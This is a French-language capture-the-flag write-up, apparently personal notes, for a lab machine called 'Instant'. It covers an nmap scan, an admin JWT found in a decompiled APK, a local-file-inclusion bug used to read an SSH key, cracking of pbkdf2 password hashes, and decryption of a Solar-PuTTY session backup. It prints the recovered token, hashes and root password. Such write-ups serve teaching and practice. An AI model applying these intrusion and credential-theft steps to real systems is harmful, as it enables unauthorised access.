
(alice㉿kali)-[~/…/Machines/MEDIUM/LINUX/Instant]

  $ nmap -sV -sC -O 10.129.236.158
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-13 12:19 CET
Nmap scan report for instant.htb (10.129.236.158)
Host is up (0.025s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_  256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open  http    Apache httpd 2.4.58
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Instant Wallet
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=11/13%OT=22%CT=1%CU=35444%PV=Y%DS=2%DC=I%G=Y%TM=673
OS:48B3D%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A
OS:)OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5
=M53
OS:CST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6
=FE88
OS:)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
A=S+
OS:%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
OS:T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%
A
OS:=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%
D
OS:F=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=4
OS:0%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at 
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.28 seconds

On accède à un site et on peut télécharger un fichier apk. 

Un fichier APK (Android Package Kit) est un fichier utilisé pour distribuer et installer des applications 
sur des appareils Android. Il contient tous les éléments nécessaires à l'installation et à l'exécution 
d'une application Android.

ON a un outils sur linux qui est apktool et en cherchant sur internet on peut trouver une commande 
"decode"

/smali/com/instantlab/instant

On trouve pas mal de chose ici : 

En regardant dans admin.smali on tombe sur un jeton qui ressemble a un jeton JWT. 

Instant
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const-string v3, 
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZ
lNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgy
oNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"

Ça ne fonctionne pas pour l'instant donc je vais suivre un autre tuto : 

Si je fais code . Ça va ouvrir visualcode et je peux voir le code. 
On rajoute swagger-ui.htb dans le etc/hosts

On voit qu'on a pas acces mais on a le jeton de l'admin donc on va tenter une attaque JWT : 
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Comme ça ne fonctionne pas. 

Ensuite on fait un curl : 

c'était pas read mais views : 
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Bingo ! 
ON a déjà un user : shirohige et on a une vulnérabilité de type LFI (local file inclusion). Qui est le fait 
qu'on accès à des fichiers que normalement on est pas censé y avoir accès. 

Maintenant on va essayer pour lire etc/passwd : 

Comme ça ne focntionne pas on va essayer un autre truc : 

Je retourne dans l'API et je mets ce fichier ici : 

ON obtiens une commande : 
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ON va retester : 

ON va maintenant faire une attaque LFI : 

OUIII!!!

Bon on a le user.txt mais on a pas le root donc il va falloir trouver un moyen de se co en ssh. 

On sait que je peux récupérer id_rsa vu que le port ssh est ouvert. 
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Pour enlever les " et \ on utilise cyberchef avec l'option replace : 

ON a enfin notre clé rsa : 

-----BEGIN OPENSSH PRIVATE KEY----------END OPENSSH PRIVATE KEY-----

On va récupérer le fichier sessions-backups sur notre machine: 

   MACHINES Page 6    



ON lance linpeas histoire de voir ce qu'on a : 

On va copier ce document sur notre machine 

1
|instantAdmin|admin@instant.htb|f0eca6e5-783a-471d-9d8f-0162cbc900db|pbkdf2:sha256:6000
00$I5bFyb0ZzD69pNX8
$e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd978|2024-07-23 
00:20:52.529887|87348|Admin|active

2|shirohige|shirohige@instant.htb|458715c9-b15e-467b-8a3d-97bc3fcf3c11
|pbkdf2:sha256:600000$YnRgjnim
$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed|2024-08-08 
20:57:47.909667|42845|instantian|active

Pour cracker ses mot de passe on va utiliser cette outils : 
https://github.com/AnataarXVI/Werkzeug-Cracker

python3 werkzeug_cracker.py -p hash.txt -w 
/usr/share/wordlists/rockyou.txt
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Si je change la WordList avec dirb/others/big1050.txt et qu'on recommence on a ça : 

Et on obtient un mot de passe qui est estrella. 

Ce n'est ni pour l'admin ni pour estrella

Maintenant ce qu'on va faire c'est essayer de décoder le fichier sessionbackup.dat avec le 
mot de passe et pour ça on va chercher sur internet : putty session crack hash et tomber sur 
cette article (
reverse engineering Solar-Putty) :

https://voidsec.com/solarputtydecrypt/

On suit les installations. 

Je me suis envoyé le fichier par mail lol 

On ouvre powershell : 

On lance l'outils mais il faut d'abord récupérer le fichier .dat et le mettre dans le même 
dossier que l'outils. 

On lance avec la commande : .\
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On indique le mot de passe estrella : 

OUI ON A ENFIN LE ROOT !!!!

Root:12**24nzC!r0c%q12

On se connecte en ssh avec le nouveau mot de passe trouvé ! 

FIN
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